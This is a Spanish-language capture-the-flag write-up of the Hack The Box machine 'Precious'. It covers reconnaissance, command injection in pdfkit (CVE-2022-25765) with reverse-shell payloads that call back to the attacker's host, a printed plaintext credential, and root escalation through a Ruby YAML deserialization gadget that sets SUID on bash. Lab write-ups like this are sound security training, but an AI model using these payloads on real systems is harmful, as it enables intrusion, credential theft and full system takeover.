Precious - Hack The Box
Esta fue una máquina algo difícil, porque no sabía bien como acceder como usuario, trate de cargar un Payload, pero no funciono, estudie el ataque Smuggling para tratar de obtener credenciales, pero no lo entendí del todo bien, intente usar un Exploit para Ruby-on-rails, pero no funciono, por eso tarde bastante en resolverla. En fin, vamos a abusar de la herramienta que genera el el PDF que usa la página web de la máquina, llamado pdfkit, usaremos el Exploit CVE-2022-25765 para acceder a la máquina y robar las credenciales del usuario. Una vez conectados como usuario, abusaremos de un script de Ruby que tiene permisos de SUDO para inyectar código malicioso que nos permita escalar privilegios como Root, esto en base al YAML Deserialization.
Herramientas utilizadas:
- ping
- nmap
- wappalizer
- whatweb
- wfuzz
- python3
- nc
- pdfinfo
- python
- exiftool
- wget
- curl
- ssh
- sudo
- bash
Índice
Recopilación de Información
Traza ICMP
Vamos a realizar un ping para saber si la máquina está conectada y en base al TTL veremos que SO opera en la máquina.
ping -c 4 10.10.11.189
PING 10.10.11.189 (10.10.11.189) 56(84) bytes of data.
64 bytes from 10.10.11.189: icmp_seq=1 ttl=63 time=129 ms
64 bytes from 10.10.11.189: icmp_seq=2 ttl=63 time=130 ms
64 bytes from 10.10.11.189: icmp_seq=3 ttl=63 time=130 ms
64 bytes from 10.10.11.189: icmp_seq=4 ttl=63 time=130 ms
--- 10.10.11.189 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3013ms
rtt min/avg/max/mdev = 129.359/129.769/129.969/0.241 ms
Por el TTL sabemos que la máquina usa Linux, hagamos los escaneos de puertos y servicios.
Escaneo de Puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.189 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-10 11:49 CST
Initiating SYN Stealth Scan at 11:49
Scanning 10.10.11.189 [65535 ports]
Discovered open port 22/tcp on 10.10.11.189
Discovered open port 80/tcp on 10.10.11.189
Completed SYN Stealth Scan at 11:49, 27.06s elapsed (65535 total ports)
Nmap scan report for 10.10.11.189
Host is up, received user-set (0.89s latency).
Scanned at 2023-04-10 11:49:23 CST for 27s
Not shown: 53229 filtered tcp ports (no-response), 12304 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 27.30 seconds
Raw packets sent: 126040 (5.546MB) | Rcvd: 12410 (496.440KB)
Parámetros | Descripción |
---|---|
-p- | Para indicarle un escaneo en ciertos puertos. |
–open | Para indicar que aplique el escaneo en los puertos abiertos. |
-sS | Para indicar un TCP Syn Port Scan para que nos agilice el escaneo. |
–min-rate | Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000). |
-vvv | Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo. |
-n | Para indicar que no se aplique resolución dns para agilizar el escaneo. |
-Pn | Para indicar que se omita el descubrimiento de hosts. |
-oG | Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts. |
Veo solamente dos puertos abiertos, como no tenemos credenciales para el SSH, vamos directamente con el puerto HTTP.
Escaneo de Servicios
nmap -sC -sV -p22,80 10.10.11.189 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-10 11:51 CST
Nmap scan report for 10.10.11.189
Host is up (0.13s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 845e13a8e31e20661d235550f63047d2 (RSA)
| 256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_ 256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.19 seconds
Parámetros | Descripción |
---|---|
-sC | Para indicar un lanzamiento de scripts básicos de reconocimiento. |
-sV | Para identificar los servicios/versión que están activos en los puertos que se analicen. |
-p | Para indicar puertos específicos. |
-oN | Para indicar que el output se guarde en un fichero. Lo llame targeted. |
Bien, ahí nos dice que se esta ocupando un servicio, el nginx 1.18.0, y nos menciona que no puede redirigirse al dominio precious.htb. Esto ya nos da una idea de lo que esta pasando, así que es momento de analizar la página web.
Análisis de Vulnerabilidades
Analizando Servicio HTTP
Entremos.
Al parecer no se puede, ya sabemos qué hacer en estos casos, registremos el dominio en el /etc/hosts
nano /etc/hosts
10.10.11.189 precious.htb
Recargamos la página y ahora sí, ya podemos verla.
Vale, por lo que nos dice, convierte una página web en un archivo PDF, veamos lo que nos dice el Wappalizer:
Ahí vemos el servicio nginx 1.18.0, el servicio Phusion Passenger y vemos que la página está hecha en PHP, esto nos puede servir más adelante.
Ahora, veamos que nos dice la herramienta whatweb:
whatweb http://10.10.11.189
http://10.10.11.189 [302 Found] Country[RESERVED][ZZ], HTTPServer[nginx/1.18.0], IP[10.10.11.189], RedirectLocation[http://precious.htb/], Title[302 Found], nginx[1.18.0]
http://precious.htb/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0 + Phusion Passenger(R) 6.0.15], IP[10.10.11.189], Ruby-on-Rails, Title[Convert Web Page to PDF], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-Powered-By[Phusion Passenger(R) 6.0.15], X-XSS-Protection[1; mode=block], nginx[1.18.0]
Bien, algo interesante que podemos ver, tanto en Wappalizer como con whatweb, es que utiliza los servidores web de nginx y otro llamado Phusion Passenger, vamos a investigarlos:
Servidor Web nginx |
---|
Nginx es un servidor web/Proxy inverso ligero de alto rendimiento y un proxy para protocolos de correo electrónico. Es software libre y de código abierto, licenciado bajo la Licencia BSD simplificada; también existe una versión comercial distribuida bajo el nombre de Nginx Plus. |
Servidor Web Phusion Passenger |
---|
Phusion Passenger es un servidor web gratuito y un servidor de aplicaciones compatible con Ruby, Python y Node.js. Está diseñado para integrarse en el servidor Apache HTTP o el servidor web nginx, pero también tiene un modo para ejecutarse de forma independiente sin un servidor web externo. |
OK, lo que me da a entender el ultimo servidor web, es que estan utilizando Ruby y Python para el funcionamiento de la página web. Esto nos lo confirma whatweb, pues nos muestra que estan ocupando Ruby-on-Rails, veamos de que se trata esto:
Ruby-on-Rails |
---|
Ruby on Rails, también conocido como RoR o Rails, es un framework de aplicaciones web de código abierto del lado del servidor escrito en el lenguaje de programación Ruby, siguiendo el paradigma del patrón Modelo Vista Controlador. |
Excelente, ya tenemos bastante información que nos va a ser útil para después. Hagamos Fuzzing para ver si hay algo de interés.
Fuzzing
wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://precious.htb/FUZZ/
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://precious.htb/FUZZ/
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000014: 200 18 L 42 W 483 Ch "http://precious.htb//"
000045240: 200 18 L 42 W 483 Ch "http://precious.htb//"
000155453: 503 0 L 29 W 189 Ch "previousHeaderGraphics"
000155446: 503 0 L 29 W 189 Ch "newsforgeNewsforge"
000155438: 503 0 L 29 W 189 Ch "ps-vir5"
000155429: 503 0 L 29 W 189 Ch "ble"
000155475: 503 0 L 29 W 189 Ch "40686"
000155473: 503 0 L 29 W 189 Ch "data-license"
000155469: 503 0 L 29 W 189 Ch "smallright16"
...
Parámetros | Descripción |
---|---|
-c | Para ver el resultado en un formato colorido. |
–hc | Para no mostrar un código de estado en los resultados. |
-t | Para indicar la cantidad de hilos a usar. |
-w | Para indicar el diccionario a usar en el fuzzing. |
Hay demasiados archivos que, por el código de estado, no podremos ver. Vamos a eliminar ese código de estado y veamos si encuentra algo:
wfuzz -c --hc=404,503 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://precious.htb/FUZZ/
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://precious.htb/FUZZ.php/
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000013: 200 18 L 42 W 483 Ch "#"
000000010: 200 18 L 42 W 483 Ch "#"
000000002: 200 18 L 42 W 483 Ch "#"
000000004: 200 18 L 42 W 483 Ch "#"
Total time: 565.2140
Processed Requests: 220560
Filtered Requests: 220547
Requests/sec.: 390.2238
Parámetros | Descripción |
---|---|
-c | Para ver el resultado en un formato colorido. |
–hc | Para no mostrar un código de estado en los resultados. |
-t | Para indicar la cantidad de hilos a usar. |
-w | Para indicar el diccionario a usar en el fuzzing. |
Mmmmm no nos dio nada, entonces hagamos lo que nos pide.
Probando el Convertor PDF de la Página Web
Tratemos de darle una página cualquiera, puse “hola_mundo” de Wikipedia:
No sirvió, vamos a ver que pasa si lo hacemos con una página local, hagámoslo por pasos:
- Abramos un servidor web con Python:
python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
- Ponemos la IP y el puerto en la página web de la máquina:
http://Tu_IP:8000/
- Le damos click y nos saca el PDF:
- Descargamos el PDF y lo guardamos en nuestro directorio de trabajo.
Bien, si bien podemos ver el contenido del PDF, podemos utilizar la herramienta pdfinfo o la herramienta exiftool.
Obteniendo Información y Metadatos de PDF con pdfinfo y exiftool
Veamos que hacen estas dos herramientas:
Herramienta pdfinfo |
---|
Es un extractor de información desde documentos PDF (Portable Document Format). Imprime el contenido del diccionario “Info” (además de alguna otra información útil), desde archivos PDF. Se ejecuta la herramienta únicamente definiendo el nombre del archivo. Lo cual muestra la información del diccionario Info. |
Herramienta exiftool |
---|
Es una herramienta de código abierto que permite leer, escribir y editar metadatos de una gran variedad de archivos (EXIF , GPS , IPTC , XMP , JFIF), no tiene interfaz gráfica se ejecuta por línea de comandos. |
Entonces, ambas herramientas nos dan información especifica de los archivos PDF, pero la herramienta exiftool me parece más útil para poder ver los medatadatos de cualquier archivo.
En fin, vamos a probar ambas:
- Probamos primero la herramienta pdfinfo:
pdfinfo n005vxio3bqkzrd9hf90yf60sl0jz8gu.pdf Creator: Generated by pdfkit v0.8.6 Custom Metadata: no Metadata Stream: yes Tagged: no UserProperties: no Suspects: no Form: none JavaScript: no Pages: 1 Encrypted: no Page size: 612 x 792 pts (letter) Page rot: 0 File size: 18455 bytes Optimized: no PDF version: 1.4
- Ahora la herramienta exiftool:
exiftool rw7q7mj6c9pxd8omidlhfvr64ln78637.pdf ExifTool Version Number : 12.57 File Name : rw7q7mj6c9pxd8omidlhfvr64ln78637.pdf Directory : . File Size : 11 kB File Modification Date/Time : 2023:04:10 13:21:27-06:00 File Access Date/Time : 2023:04:10 13:21:48-06:00 File Inode Change Date/Time : 2023:04:10 13:22:12-06:00 File Permissions : -rw-r--r-- File Type : PDF File Type Extension : pdf MIME Type : application/pdf PDF Version : 1.4 Linearized : No Page Count : 1 Creator : Generated by pdfkit v0.8.6
Interesante, vemos que utilizaron una herramienta/servicio para crear el PDF, quizá exista un Exploit, vamos a buscarlo.
Explotación de Vulnerabilidades
Aplicando Inyección de Comandos
Investigando un poco, nos encontramos con la siguiente página:
Esta página nos explica como se pueden inyectar comandos dentro de la URL, pues no esta bien sanitizada. Para que podamos realizar nuestras inyecciones, utilizamos el siguiente parámetro dentro de la URL que vamos a usar para convertir en PDF:
http://ejemplo.com/?name=%20`whoami`
Vamos a probarlo, lo haremos por pasos:
- Abre un servidor HTTP con Python en tú directorio de trabajo:
python3 -m http.server 8000 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
- Introduce la página local y agrega el parámetro que inyecta el comando:
http://Tu_IP:8000/?name=%20`whoami`
- Observa lo que se obtuvo:
- Ahora inyecta el comando id y observa el resultado:
- Observa lo que ocurrio en el servidor HTTP:
python3 -m http.server 8000 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 10.10.11.189 - - [10/Apr/2023 13:53:41] "GET /?name=%20ruby HTTP/1.1" 200 - 10.10.11.189 - - [10/Apr/2023 13:54:08] "GET /?name=%20uid=1001(ruby)%20gid=1001(ruby)%20groups=1001(ruby) HTTP/1.1" 200 -
Curiosamente, el resultado se muestra también desde el servidor HTTP
Nota: podríamos intentar capturar todo este proceso en BurpSuite, pero hay algo que nos impide inyectar comandos desde ahí, por lo que lo descarte, pero si quieres probar e investigar que es lo que nos impide la inyección de comandos, adelante.
Excelente, de esta forma podemos inyectar comandos, es momento de poner nuestra Reverse Shell de confianza para ganar acceso a la máquina:
-
No cierres el servidor HTTP.
- Abre una netcat:
nc -nvlp 443 listening on [any] 443 ...
- Inyecta la Reverse Shell:
http://Tu_IP:8000/?name=%20`bash -c 'bash -i >& /dev/tcp/Tu_IP/443 0>&1`
- Observa la netcat:
nc -nvlp 443 listening on [any] 443 ... connect to [Tu_IP] from (UNKNOWN) [10.10.11.189] 43556 bash: cannot set terminal process group (678): Inappropriate ioctl for device bash: no job control in this shell ruby@precious:/var/www/pdfapp$ whoami whoami ruby ruby@precious:/var/www/pdfapp$ id id uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
Buscando un Exploit para pdfkit v0.8.6
A la hora de buscar un Exploit para esta versión de pdfkit, se encunetran un par que nos pueden servir mucho:
- Repositorio de UNICORDev: Exploit for CVE-2022–25765 (pdfkit) - Command Injection
- Repositorio de shamo0: PDFkit-CMD-Injection
Vamos a probar ambos, para ver que tal funcionan.
Probando Exploit: CVE-2022–25765 (pdfkit) - Command Injection
- Primero vamos a descargar este Exploit:
wget https://raw.githubusercontent.com/UNICORDev/exploit-CVE-2022-25765/main/exploit-CVE-2022-25765.py https://raw.githubusercontent.com/UNICORDev/exploit-CVE-2022-25765/main/exploit-CVE-2022-25765.py Resolviendo raw.githubusercontent.com (raw.githubusercontent.com)... Conectando con raw.githubusercontent.com (raw.githubusercontent.com) conectado. Petición HTTP enviada, esperando respuesta... 200 OK Longitud: 7849 (7.7K) [text/plain] Grabando a: «exploit-CVE-2022-25765.py» . exploit-CVE-2022-25765.py 100%[========>] 7.67K --.-KB/s en 0s . 2023-10-04 14:44:54 (24.0 MB/s) - «exploit-CVE-2022-25765.py» guardado [7849/7849]
- Abre una netcat:
nc -nvlp 443 listening on [any] 443 ...
- Para usarlo, debemos usar el parámetro -h y usamos Python3:
python3 exploit-CVE-2022-25765.py -h UNICORD Exploit for CVE-2022–25765 (pdfkit) - Command Injection . Usage: python3 exploit-CVE-2022–25765.py -c <command> python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port> python3 exploit-CVE-2022–25765.py -c <command> [-w <http://target.com/index.html> -p <parameter>] python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port> [-w <http://target.com/index.html> -p <parameter>] python3 exploit-CVE-2022–25765.py -h . Options: -c Custom command mode. Provide command to generate custom payload with. -s Reverse shell mode. Provide local IP and port to generate reverse shell payload with. -w URL of website running vulnerable pdfkit. (Optional) -p POST parameter on website running vulnerable pdfkit. (Optional) -h Show this help menu.
- El mismo Exploit nos ayuda con un ejemplo de su uso, curiosamente, se probo este Exploit en la misma máquina:
python3 exploit-CVE-2022-25765.py -s Tu_IP 443 -w http://precious.htb -p url . _ __,~~~/_ __ ___ _______________ ___ ___ ,~~`( )_( )-\| / / / / |/ / _/ ___/ __ \/ _ \/ _ \ |/| `--. / /_/ / // // /__/ /_/ / , _/ // / _V__v___!_!__!_____V____\____/_/|_/___/\___/\____/_/|_/____/.... . UNICORD: Exploit for CVE-2022–25765 (pdfkit) - Command Injection OPTIONS: Reverse Shell Sent to Target Website Mode PAYLOAD: http://%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("Tu_IP","443"))'` LOCALIP: Tu_IP:443 WARNING: Be sure to start a local listener on the above IP and port. "nc -lnvp 443". WEBSITE: http://precious.htb POSTARG: url EXPLOIT: Payload sent to website! SUCCESS: Exploit performed action.
- Observa la netcat:
nc -nvlp 443 listening on [any] 443 ... connect to [Tu_IP] from (UNKNOWN) [10.10.11.189] 42476 whoami ruby id uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
Y listo, ganamos acceso otra vez.
Probando Exploit: PDFkit-CMD-Injection
Esta vez, nos dan un comando que podemos usar para ganar acceso a la máquina, se trata de un comando curl que manda un petición POST que carga nuestra Reverse Shell, al parecer, solamente debemos indicar nuestra IP y un puerto.
Sigamos las instrucciones que nos dicen:
- Abrimos un servidor web con Python:
python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
- Abrimos una netcat:
nc -nvlp 443 listening on [any] 443 ...
- Cargamos una petición y la modificamos poniendo la dirección de la página web de la máquina y poniendo nuestra IP y un puerto:
curl 'http://precious.htb/' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://precious.htb/' -H 'Connection: keep-alive' -H 'Referer: http://precious.htb/' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'url=http%3A%2F%2FLOCAL-ADDRESS%3ALOCAL-PORT%2F%3Fname%3D%2520%60+ruby+-rsocket+-e%27spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%22AQUI_PON_TU_IP%22%2CAQUI_PON_EL_PUERTO%29%29%27%60' Warning: Binary output can mess up your terminal. Use "--output -" to tell Warning: curl to output it to your terminal anyway, or consider "--output Warning: <FILE>" to save to a file.
- Resultado:
nc -nvlp 443 listening on [any] 443 ... connect to [Tu_IP] from (UNKNOWN) [10.10.11.189] 34916 whoami ruby id uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
Estamos dentro otra vez. Diría que busquemos la flag, pero no somos usuarios, vamos a buscar que cosillas encontramos aquí.
Post Explotación
Enumeración de Usuario Ruby
Para no mostrar todo lo que vi, que es inútil, voy a poner solo lo interesante.
Entramos en la carpeta /home para ver si podemos ver la flag, que te recuerdo, no vamos a poder verla:
cd /home
ls
henry
ruby
cd henry
ls
user.txt
cat user.txt
cat: user.txt: Permission denied
Tenemos un usuario, pero no tenemos la contraseña, vamos a ver si hay directorios ocultos de Ruby porque del usuario no podremos verlos:
cd ruby
ls -la
total 28
drwxr-xr-x 4 ruby ruby 4096 Apr 10 14:08 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
lrwxrwxrwx 1 root root 9 Oct 26 07:53 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby 220 Mar 27 2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27 2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .bundle
drwxr-xr-x 3 ruby ruby 4096 Apr 10 14:08 .cache
-rw-r--r-- 1 ruby ruby 807 Mar 27 2022 .profile
Muy bien, si tratamos de ver todos, el que contendrá la contraseña y el usuario, será el directorio oculto .bundle:
cd .bundle
ls -la
total 12
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .
drwxr-xr-x 4 ruby ruby 4096 Apr 10 14:08 ..
-r-xr-xr-x 1 root ruby 62 Sep 26 2022 config
Excelente, veamos que dice ese archivo config:
cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
exit
Muy bien, tenemos la contraseña del usuario henry.
Es momento de entrar a la máquina por el servicio SSH:
ssh henry@10.10.11.189
The authenticity of host '10.10.11.189 (10.10.11.189)' can't be established.
ED25519 key fingerprint is SHA256:1WpIxI8qwKmYSRdGtCjweUByFzcn0MSpKgv+AwWRLkU.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.189' (ED25519) to the list of known hosts.
henry@10.10.11.189's password:
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
henry@precious:~$ whoami
henry
henry@precious:~$ ls -la
total 24
drwxr-xr-x 2 henry henry 4096 Oct 26 08:28 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
lrwxrwxrwx 1 root root 9 Sep 26 2022 .bash_history -> /dev/null
-rw-r--r-- 1 henry henry 220 Sep 26 2022 .bash_logout
-rw-r--r-- 1 henry henry 3526 Sep 26 2022 .bashrc
-rw-r--r-- 1 henry henry 807 Sep 26 2022 .profile
-rw-r----- 1 root henry 33 Apr 10 13:40 user.txt
henry@precious:~$ cat user.txt
Enumeración de Usuario Henry
Veamos que podemos hacer como el usuario henry:
henry@precious:~$ id
uid=1000(henry) gid=1000(henry) groups=1000(henry)
henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
Tenemos acceso a un archivo que tiene permiso como Root que esta hecho en Ruby. Vamos a analizarlo:
henry@precious:~$ cd /opt
henry@precious:/opt$ ls
sample update_dependencies.rb
henry@precious:/opt$ cat update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
Por lo que entiendo, este script en Ruby, utiliza un archivo llamado dependencies.yml para poder instalar o actualizar la versión de Ruby creo.
Dicho archivo de .yml es creado con la librería YAML, entonces vamos a buscar un Exploit para YAML.
Aplicando YAML Deserialization Attack
Encontré algo llamado YAML Deserialization:
YAML Deserialization |
---|
Se pueden crear payloads personalizados utilizando módulos YAML de Python como PyYAML o ruamel.yaml. Estos payloads pueden explotar vulnerabilidades en sistemas que deserializan entradas no confiables sin una sanitización adecuada. |
Para más información:
Pero la siguiente página lo explica mejor:
En resumen, vamos a utilizar la librería YAML para ejecutar código malicioso, al momento de que se valide el script dependencies.yml. Para hacer esto, debemos crear un archivo del mismo nombre y poner lo siguiente:
!ruby/object:Gem::Installer
i: x
!ruby/object:Gem::SpecFetcher
i: y
!ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: sleep 600
method_id: :resolve
Ahora, el que hará la movida para ejecutar código, será este git_set:.
Hagamos una prueba con tal de ver como funciona, vamos por pasos:
- Creamos el archivo dependencies.yml, OJO, esto solo podremos hacer en la carpeta henry:
henry@precious:/home$ pwd /home/henry henry@precious:~$ nano dependencies.yml
- Dentro del archivo ponemos el script de arriba y cambiamos el git_set por un whoami para ver si nos suelta algo:
!ruby/object:Gem::Installer
i: x
!ruby/object:Gem::SpecFetcher
i: y
!ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: whoami
method_id: :resolve
- Ejecutamos el script con permisos SUDO y veamos que pasa:
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb sh: 1: reading: not found root Traceback (most recent call last): 33: from /opt/update_dependencies.rb:17:in `<main>' 32: from /opt/update_dependencies.rb:10:in `list_from_file' 31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load' 30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby' ...
Vaya, vaya, vemos que ahí dice Root.
- Hagamos otra prueba, ahora en vez de usar whoami pongamos id:
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb sh: 1: reading: not found uid=0(root) gid=0(root) groups=0(root) Traceback (most recent call last): 33: from /opt/update_dependencies.rb:17:in `<main>' 32: from /opt/update_dependencies.rb:10:in `list_from_file' 31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load' ...
Excelente, con esto podemos escalar privilegios, solo demos permisos de ejecución para la Bash a cualquier usuario, esto para ser Root.
Hagámoslo por pasos:
- Antes veamos que permisos tiene la Bash:
henry@precious:~$ ls -la /bin/bash -rwxr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
- Ahora agreguemos el cambio al script para cambiar los permisos:
socket: !ruby/module 'Kernel' method_id: :system git_set: chmod +s /bin/bash method_id: :resolve
- Ejecutamos el script con SUDO:
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb sh: 1: reading: not found Traceback (most recent call last): 33: from /opt/update_dependencies.rb:17:in `<main>' 32: from /opt/update_dependencies.rb:10:in `list_from_file' 31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load' ...
- Comprobamos si se hizo el cambio:
ls -la /bin/bash -rwsr-sr-x 1 root root 1234376 Mar 27 2022 /bin/bash
- ¡Si se hizo!, entremos a la Bash y busquemos la flag:
henry@precious:~$ bash -p bash-5.1# whoami root bash-5.1# ls dependencies.yml user.txt bash-5.1# cd /root bash-5.1# ls root.txt bash-5.1# cat root.txt
Y listo, ya tenemos las flags.
Links de Investigación
- https://github.com/shamo0/PDFkit-CMD-Injection
- https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795
- https://github.com/UNICORDev/exploit-CVE-2022-25765
- https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/
- https://portswigger.net/web-security/request-smuggling
- https://snyk.io/test/docker/nginx%3A1.18.0
- https://vuldb.com/?id.155282
- https://book.hacktricks.xyz/v/es/pentesting-web/deserialization/python-yaml-deserialization
- https://es.wikipedia.org/wiki/Nginx
- https://www.phusionpassenger.com/docs/tutorials/what_is_passenger/
- https://kodigo.org/hablemos-de-ruby-on-rails-ruby-on-rails-que-es-y-para-que-sirve/
- https://www.reydes.com/d/?q=pdfinfo
- http://sedici.unlp.edu.ar/bitstream/handle/10915/139859/Presentaci%C3%B3n.pdf?sequence=3&isAllowed=y